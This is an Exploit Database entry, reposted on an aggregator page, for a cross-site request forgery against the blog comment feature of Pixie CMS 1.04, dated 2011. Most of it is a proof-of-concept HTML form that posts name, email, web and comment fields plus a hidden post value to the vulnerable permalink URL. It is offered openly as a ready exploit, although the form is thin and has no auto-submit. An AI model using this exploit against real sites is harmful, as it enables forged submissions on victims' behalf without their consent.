Pixie 1.04 – Blog Post Cross-Site Request Forgery

• Exploit Database
• 12 阅读

• 作者： hackme
  日期： 2011-12-11
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/18236/

• # Exploit Title: Pixie v1.04 blog post CSRF
  # Google Dork: # Date: 11-Dec-2011
  # Author: hackme
  # Software Link: http://pixie-cms.googlecode.com/files/pixie_v1.04.zip 
  # Version: 1.04# Tested on: Linux Ubuntu 10.10
  # CVE :
  [+] TH4NKZ T0: broiosen,ReGun and hackgame.it
  [+] Vulnerable Url: http://host.com/pixie/?s=blog&m=permalink&x=my-first-post 
  [+] Post Method
  [+] exploit:
  
  <form method="POST" action="http://127.0.0.1/pixie/?s=blog&m=permalink&x=my-first-post">
  name: <input type="Text" name="name" id="name" size="15"/><br>
  e-mail: <input type="Text" name="email" id="email" size="15"/>
  <br>web(optional): <input type="Text" name="web" id="web" size="15"/><br>
  comment: <input type="Text" name="comment" id="comment" size="15"/><br>
  <input type="Submit" name="comment_submit" id="comment_submit" value="invia" size="15"/>
  <input type="Hidden" name="post" id="post" value="1"/></form>